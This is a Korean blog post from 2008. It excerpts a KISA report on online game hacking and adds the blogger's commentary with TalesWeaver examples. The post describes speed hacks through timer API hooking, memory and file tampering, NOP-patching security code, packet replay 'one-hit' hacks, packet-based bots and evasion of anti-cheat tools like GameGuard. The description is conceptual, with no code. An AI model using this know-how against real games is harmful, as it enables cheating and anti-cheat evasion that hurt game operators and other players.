차별 패킷 발송이 대표적인 경우이다.
이 같은 경우는 굳이 온라인 게임에서가 아닌 다른 해킹의 경우에도 비슷하지만, 온라인
게임의 특성과 좀더 직접적으로 연관된 부분도 없지 않다. 좀비 프로그램을 제작하여 무차
별로 로그인을 시도하는 패킷 리플라이 공격(로그인을 무한 시도하여 서버에 부하를 주는
방법) 등도 대표적인 사례로 볼 수 있다. 어쨌든 대부분 서버 과부하 또는 서버 다운을 의도
하여 행한 해킹으로, 게임 서비스 중지를 그 목적으로 한다. 중국에 게임을 수출하는 경우
“우리나라에 게임을 수출하지 마라”라며 해커가 게임 서버에 공격을 가한 경우도 있다.

 

> 이 문제는 잘 발생하지 않죠.  그냥 이런것이 있다  정도로만 알고있으면 될듯합니다.

 

 

 

다. 웹 사이트 취약점 (계정 해킹을 목적으로 시도함)


웹 사이트의 취약점을 이용하여, 서버에 해커가 원하는 악성 코드를 심어놓고, 그곳에
접속하는 사용자들에게 백도어나 바이러스 등을 감염시키는 해킹 유형이다.
반드시 게임
서버가 아닌 경우도 많으며, 관리가 허술하고 인터넷 사용자들의 접속이 빈번한 웹 사이트
가 주 공격대상이 되고 있다.

해커의 목적은 주로 백도어 감염을 통한 게임 계정 도용이다. 사이트에는 백도어를 심어
놓고, 사이트에 접속한 사용자들의 PC에 백도어가 설치되게 한다. 그 후 사용자가 입력한
게임 계정은 해커의 이메일로 전송된다. 최근 관리가 허술한 웹사이트를 찾아주는 SQL
Injection 자동화 툴이 해커들 사이에서 공유되고 있어 백도어 감염 웹사이트가 늘어나고
있다.

 

> 보통 대다수의 유저들이 생각하는 것중 하나가 ,  게임해킹은  로그인 할때만 조심하면 된다.  라고들 합니다.

허나 요즘은  강력한 기능을 가진  특정 게임을 타겟으로 하는   상식을 뛰어넘는 백도어들이 즐비하고 있습니다.

(가령,  로그인할때 ,  로그인 정보를 담은  패킷을  가로채거나 하는 경우가 있습니다.)

자신이 방문하는 사이트 중 하나가   웹 사이트 취약점에 의한  백도어 감염이 되어있는 사이트 일수도 있으니,

평소에 보안에 관심을 기울이고 ,  백신과 최신 보안패치를 설치하는 등  충분히 주의해야 합니다.

 

 

 

 

라. Non Client BOT  (중국인 매크로에 해당)


게임 클라이언트를 설치하지도 않고 게임을 실행하는 형태로 가장 골치 아픈 해킹 유형
중 하나이다.
게임의 패킷 구조를 완전히 분석한 해커가 프로그램을 개발하여 판매하는 형
태로, 그 프로그램만 실행하면 자동으로 서버에 접속하여 이동 패킷, 공격 패킷을 전송하며
사냥을 하게 된다. 게임 플레이를 하지도 않는 사용자들이 서버로 대량 접속하기 때문에 서
버 과부하가 생기는 것은 물론, 클라이언트에 아무리 보안 코드를 삽입해도 클라이언트 자
체가 실행되지 않으므로 무용지물인 해킹이다.
앞서 열거한 서버 공격과는 약간 성격이 다르며, 게임 서비스 중지를 목표로 하지는 않
지만, 해커 자신의 이익 추구 그리고 불법 플레이를 조장하는 온라인 게임 공격 형태 중의
하나이다.
다음은 게임 클라이언트 프로그램 없이 게임을 가동시킬 수 있는 프로그램의 화면으로,
이 프로그램을 이용하여 게임 서버에 무단으로 접속하여 캐릭터를 성장시키게 된다.

 

현재  대부분 중국발 매크로 공격의 방식이  모두  Non Client BOT 이라고 봐도  무방합니다.

클라이언트를 아예 실행하지 않고 , 봇 프로그램을 따로 구동시키기 때문에 ,  게임서비스 회사에서

이것을 막을수 있는 방법은  없습니다.  

이것은 국내에서 퍼질대로 퍼진  , 클라이언트를 실행시킨뒤 , USB스틱을 꽂고

키보드와 마우스 이벤트를 발생시켜서 자동으로 플레이시키는

오토마우스라던가  오토플레이 와는   차원이 다른 개념입니다.

 

이 BOT 프로그램은  컴퓨터 한대에   동일한 프로그램을 수십여개  실행시킨뒤,

프로그램별로  계정만 서로 다르게 입력하고 , 서버에 로그인 시킨다음 동작시키는 방식입니다.

 

컴퓨터 사양이 좋으면 , 컴퓨터 한대에   BOT 프로그램을 수백여개 넘게 구동시켜서,

컴퓨터 한대만 가지고도 ,  여러 서버 , 여러계정을  동시에 돌릴수 있습니다.

 

해커가  테일즈위버 게임의   서버와 클라이언트 사이를 오가는 패킷에 대한 정보를 완벽히 분석하고,

그것을 따로 프로그램으로 구현했기 때문에 , 전혀 차단시킬 방법이 없습니다.

중국발 IP를 차단시켜도 VPN우회나  프록시 등 여러 방법이 있기때문에 가장 골치아픈 문제로 대두되고 있습니다.

 

 

 

2. 클라이언트 공격

 

가. 스피드 핵의 원리

 

클라이언트 공격 유형 중의 가장 대표적이자, 해킹에 대해 아무것도 모르는 이들도 이름
은 들어봤음직한 해킹 유형이다. 본인 PC(클라이언트)의 시계를 빨리 간 것처럼 속여, 게임
내에서도 빠른 속도로 이동하게 만드는 핵이다. 스피드 핵은 크게 두 가지 종류가 있는데
8254 PIT(Programmable Interval Timer) 칩의 값을 조정하여 컴퓨터의 시계가 빠르게
흐르도록 하는 경우와 타이머 관련 API함수(GetTickCount(), timeGetTime() 등)를 후킹
(Hooking)하여 시간이 빨리 계산되도록 하는 가짜 API함수를 만든 후, 클라이언트에서 시
간을 계산할 때 그 함수를 이용하게 하는 방법이다. 공격 속도와 이동 속도가 빨라지므로
서버와 주고받는 패킷의 양도 당연히 늘어나게 된다. 따라서 이는 곧 서버 과부하의 문제로
이어질 수 있으며, 그와 더불어 공정한 게임 룰에도 지장을 가져오게 된다.

 

>  주로 인터넷에서 퍼질대로 퍼진 스피드핵의 유형은  PIT 칩의 값을 조정하여 ,  컴퓨터 시계가 전반적으로 빠르게 흘러가도록 하는 방법입니다.  이것은 대부분의 클라이언트에서  감지 루틴을 가지고 있기때문에 , 요즘에는 통하지 않는 방법이죠.

허나  클라이언트 시간에 관여하는 API를 후킹(가로챔) 한뒤 ,  가짜 API를 작성하여 ,   클라이언트에서  가짜API를 참조하도록 해버리면 ,  막을 방법이 없습니다.

 

 

 

나. 매크로 (오토마우스, USB스틱 등)


이른바“자동 사냥”이라 불리우는 클라이언트 해킹 유형으로, 역시 스피드 핵과 더불어
가장 널리 알려진 해킹에 속한다. “시작”버튼 하나만 누르면, 매크로가 알아서 몹을 발견
하고 공격해 주며, 체력이 떨어지면 자동으로 물약을 복용하는 등 아무런 조작 없이 켜 두
는 것만으로 레벨 업이 가능해지기 때문에 로봇 플레이 또는 BOT이라 불리우기도 한다.
매크로를 이용하여 게임 플레이를 하는 사용자가 많아지면, 당장의 동시 접속자 수는 증가
할지 몰라도, 게임을 직접 플레이 하지도 않으면서 계속적으로 서버와 패킷을 주고받는 유
령 접속자 때문에, 역시 서버 과부하의 문제로 이어질 수 있으며, 이는 곧 몹 사냥터 부족의
문제로까지 발전할 수 있다. 따라서 사용자들의 불만은 높아질 수밖에 없으며, 정상적으로
플레이를 하는 사용자들은 늘어난 매크로 사용자 때문에 게임을 그만두려 하는 경우도 있
다. 이처럼 매크로를 방치하면, 실 사용자 수는 줄어만 가는데, 정작 게임을 즐기지도 않는
거품 사용자들 때문에 오히려 서버를 늘려가야만 하는 아이러니한 사태에 봉착하여 게임
서비스 질 하락, 그리고 게임 서비스 중지라는 최악의 상황까지도 될 수 있다.

 

> Non Client BOT 보다는 수준이 낮지만 ,  역시나  골칫덩어리 중의 하나입니다.

보통 이런 부류의 매크로는  Non Client BOT 같이  패킷 분석방식의 봇이 아닌,

키보드와 마우스, 화면 픽셀의 값을 얻어오는 이벤트 등을 발생시켜서  자동으로 플레이 하는 방식입니다.

즉,  클라이언트를 실행시키고  매크로를 돌리는 방식이지요.

 

요즘에는 USB오토마우스가 많아졌는데,

이것을 방지하기 위해서 nProtect GameGuard 같은 안티 해킹 솔루션에서 

디바이스 드라이버 후킹까지 하고있지만, 지속적으로 업데이트 되면서 막기 어려운 실정입니다.

 

 

 

다. 메모리 변조, 파일 변조  (아이템 능력치 변조,  게임 규칙을 위반하는 행동) - 주로 FPS 총게임이 표적


주로 게임 클라이언트 프로세스의 메모리를 조작하는 해킹을 가리킨다. 메모리 변조는
크게 각종 데이터나 수치와 관련된 여러 값을 처리하는 데이터 영역과, 게임의 내부 구현
루틴 즉, 코드 영역 부분으로 나눌 수 있다.

 

먼저 데이터를 조작하는 경우를 살펴보겠다.
현재 게임 외부에서 보이는 HP, 아이템, 레벨, 경험치, 돈 등 모든 수치는 다 메모리에
적용되어 있다. 따라서 메모리에 기록된 값이 어떤 부분인지만 알아내면, 그 부분을 바꿔버
림으로써 순식간에 속임(Cheat)이 가능해지게 된다. 물론 대부분의 온라인 게임에서 클라
이언트 PC에 저장되는 메모리 값은, 서버에서 처리한 내용을 보여주는 용도 정도로만 사
용하고 있다. 따라서 그런 경우는 클라이언트에서 아무리 값을 고쳐 봤자, 자신의 PC에서
만 고쳐진 값이“보여질”뿐이므로 그다지 문제될 것이 없다.


하지만, 일부 게임에선 게임의 구조상, 그리고 서버에서의 오버헤드를 최소한으로 줄이
기 위하여 클라이언트의 데이터를 신뢰하여 그대로 게임에 적용하기도 한다. 이런 경우 메
모리 변조가 크게 문제가 된다. 경험치를 배로 올려주게 한다거나, 아이템을 획득했을 때
어떠한 번지에 어떤 값이 기록되는 부분을 변조하여 무한대로 아이템이 얻어지는, 아이템
복사 핵으로까지 발전할 수 있다.


다음은 코드 영역을 고치는 부분인데, 이 부분은 데이터 영역 변조보다 그 피해도가 훨
씬 심각하며 가장 직접적인 클라이언트 공격에 속한다. 게임 개발자가 게임의 룰을 유지하
기 위하여 작성한 코드를 무력화 시키거나, 자신이 원하는 대로 코드를 바꿀 수도 있다. 예
를 들어 보안 코드를 NOP시켜 해당 루틴이 실행되지 않게 하는 일이 가능해진다. 밤낮이
변하는 부분을 무력화 하여 계속 낮처럼 보이게 할 수도 있고, 통행로가 아닌 부분에 억지
로 캐릭터가 지나다니게 할 수도 있다. 이 같은 코드 영역의 변조는 메모리에 올라간 후에
변조시킬 수도, 파일 상태에서 미리 변조시킨 후 실행하는 방법도 있다. 후자의 경우를 방
지하기 위하여 클라이언트 실행파일을 프로텍터 등으로 암호화(Packing)하기도 하지만,
언패커(Unpacker)가 공개되며 암호화를 풀어낸 뒤 다시 변조하는 경우도 적지 않다.
이런 식의 메모리 변조는 일반적인 프로그래밍은 물론, 어셈블리어의 역분석에 까지도
능한 초 고수급 해커들이 사용하는 방법이기 때문에 사용할 수 있는 곳은 무궁무진하다. 자
신을 분석해 내는 보안 코드를 뛰어넘게 만들거나 아예 보안 프로그램이 실행되지 않게 만
들어 버릴 수도 있다. 중국의 핵툴 제작업체에선 이런 게임 클라이언트 분석을 통한 메모
리, 파일 변조 해킹이 능수능란하게 이루어지고 있다.

 

> 간단히 요약하자면 ,

 현재 우리가 게임을 하면서 눈에 보이는것들, 

 아이템에 대한 정보라던가 HP,MP,SP , 경험치  이런것들은  그 기록들이 다 서버에 있기때문에 조작할수 없습니다.

 

하지만 , 일부 자금난에 허덕이거나 하는 게임회사들은  서버유지비용을 최대한 줄이기 위해서,

서버에 그런것들을 구현시키지 않고 ,   클라이언트 실행파일에  HP,MP,SP 같은 정보를 기록시키는 경우도 있습니다.

이럴 경우 ,  치트엔진 같은 프로그램으로 그 값을 검색한뒤 , 변경해줌으로써  

절대 죽지 않는 무적기능 , 매우 강력한  아이템 같은 것들을 구현해낼 수 있습니다.

또한   HACK 1당 공격력 , AGI 1당 회피율 , 딜레이 계산 공식,  스킬 공격력 % 비율 등을 조작할 수 있습니다.

 

그리고  게임의 규칙을 담고있는  코드를 변경하는것은, 클라이언트 공격중 가장 위협적인 공격이라고 생각됩니다.

이 규칙을 바꾸게 되면 ,  공격 딜레이 조작이라던가 ,  밤낮 시간변경 같은것들을 할수 있습니다.

 

보통 게임의 규칙을 담고있는   클라이언트 실행파일은    무단 변경을 막기위해 ,

Packing(암호화) 를 해놓지만 ,   리버스엔지니어링에 능한  해커는  이것을  Unpacking(복호화) 함으로써,

무단으로 게임의 규칙을 바꿉니다. 

 

또한 우리가 게임을 실행할때는 , 게임 데이터들이 메모리 상에 올라가게 되는데,

이것을 메모리 조작 프로그램으로 값을 변경해서 고칠수도 있습니다.

 보통  nProtect GameGuard 나     Xtrap ,   핵쉴드  같은   안티 해킹 솔루션에 의해서 막히지만,

제가   게임가드를   없애버리는 동영상을  보신분들이라면 , 이마저도 쉽게 뚫리는것을 알수 있습니다.

또한  안티해킹솔루션이  실행되고 있어도 ,  그것을 우회하는  메모리 조작 프로그램들이  넘쳐나기 때문에,

항상 위협적인 요소입니다.

 

 

 

라. 패킷 변조  (한방 핵의 원리, NON Client BOT , 매크로에 이용)


게임 클라이언트와 게임 서버가 주고받는 네트워크 패킷을 분석하고 조작하는 해킹 유
형이다. 클라이언트에서는 사용자가 플레이한 내용으로 패킷을 만들어 서버로 날리는데,
이때 이 패킷을 캡쳐하여 중간에서 조작, 몇 배의 수치로 늘려 보낸다면 이것이 곧 패킷 해
킹이 되는 것이다.

몹에게 히트를 한방 먹이면 1이라는 패킷이 전달된다고 가정했을 때,

이때 전송되는 이 1값이 포함된 패킷을 중간에서 가로채 100이라고 바꾸면 백 배의 공력으로
바뀌어 전달되어 어떤 몹이라도 한번에 잡을 수 있게 된다.

여기서 패킷을 암호화하거나,서버에서 패킷 체크를 함으로써 네트워크 상에서 값을 조작하여 전달하는 것이 불가능할
경우, 그냥 캡춰한 값을 조작하지 않고 보내되, 같은 값을 계속적으로 여러 번 보내는 작업
을 한다면 한 방 먹였을 때 수 십방 먹인 것과 같은 효과가 발생되어 역시 같은 효과를 낼
수 있다. 이것이 곧 한방에 적을 물리칠 수 있는 한방핵의 원리이다.

패킷은 단지 공격 값의 경우에만 제한된 요소가 아닌 다양한 값에 대한 처리를 하고 있기 때문에,

현재 몹의 위치를 파악하거나 자신의 체력 상태 등의 체크도 가능하다.

따라서 패킷을 검사해 어떤 방향에 적이 있는지를 파악하고 그쪽으로 자동으로 이동하는 등 오토
마우스와 더불어 사용되기도 한다. 이정도 수준까지 구현하는 핵툴은 상당한 고수준의
BOT이며 중국, 대만 등에서 유료 핵툴을 제작하여 판매하는 경우가 대부분으로 개별 게임
사에서 일일이 대응하기도 힘든 부분 중의 하나이다.

 

> 예를 들어서 보리스가 붉은달의맹약 스킬을 쓴다고 칩시다.

맹약을 시전함과 동시에 ,  클라이언트 실행파일은  맹약과 관련된 패킷을  게임서버로 보내게 됩니다.

이 패킷에는  맹약을 쓸때   MP,SP,환경마나   같은것들이 얼마만큼 깎이는가, 상태이상은 어떤것인가라는

내용을  내포하고 있습니다.

이 패킷을 가로채어서 , 분석한뒤   MP,SP,상태이상  관련 내용을 조작하게 되면

 맹약을 써도 SP가 깎이지 않거나,  MP 등이  깎이지 않게 할수 있습니다.

 

단 ,  서버에서  패킷의  고유 값을 검사하는 기능을 가지고 있다면 ,  이것은 불가능해지게 됩니다.

 

또다르게는  Non Client BOT을 만들때  위 방법이 쓰이기도 합니다.

 

 

 

 

마. 계정 해킹

 

온라인 게임에서 가장 중요한 계정을 훔쳐가는 해킹이다. 다른 게임 클라이언트 해킹 유
형 중에, 사용자들이 가장 직접적으로 피해를 입는 부분이므로, 대중적으로는 이러한 것이
일반적으로 해킹이라고 알려져 있다. 계정을 빼앗아가는 방법에도 매우 다양한 기술이 있
으나, 대부분은 최신 백신 설치와 윈도우 보안 패치로 예방이 가능하다.
하지만 그것마저
제대로 설치해 놓고 있지 않은 사용자들이나, 타인에게 속아 무심코 계정 정보를 알려주는
게이머들이 흔히 당하는 해킹 중의 하나이다.
계정을 해킹할 수 있는 방법에도 굉장히 많은
형태가 있으며, 점차 다양화∙기술화되고 있다.

 

>  백신 설치에도  신중을 기해야 합니다.   특정 백신 이름을 언급하지는 않겠습니다만,

일부 백신의 경우 ,   변종 해킹 프로그램이나   바이러스에  매우 취약한 성능을 가지고 있습니다.

따라서 변종에 강한 ,  인지도가 높은 백신을 이용하시길 강력 권장드립니다.

 

 

 

 

 

 

위  내용은   KISA에서   온라인 게임 해킹에 대한 주제로 배포한  문서파일에서 발췌해왔음을 밝힙니다.

 

 

 

 

PS.  참고로 테일즈위버 내에서 NON Client BOT 매크로임을 알아볼수 있는 방법은

 

어떤 캐릭터가  계속적으로   어떤 위치에서 눈에 보이지도 않는  저 멀리 있는 몹을 공격한다거나 ,

계속적으로 위치렉처럼  특정위치로 워프하는것처럼  바로 이동하는것으로  알아볼 수 있습니다.

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2008.11.30 20:23
| 1 |

티스토리 툴바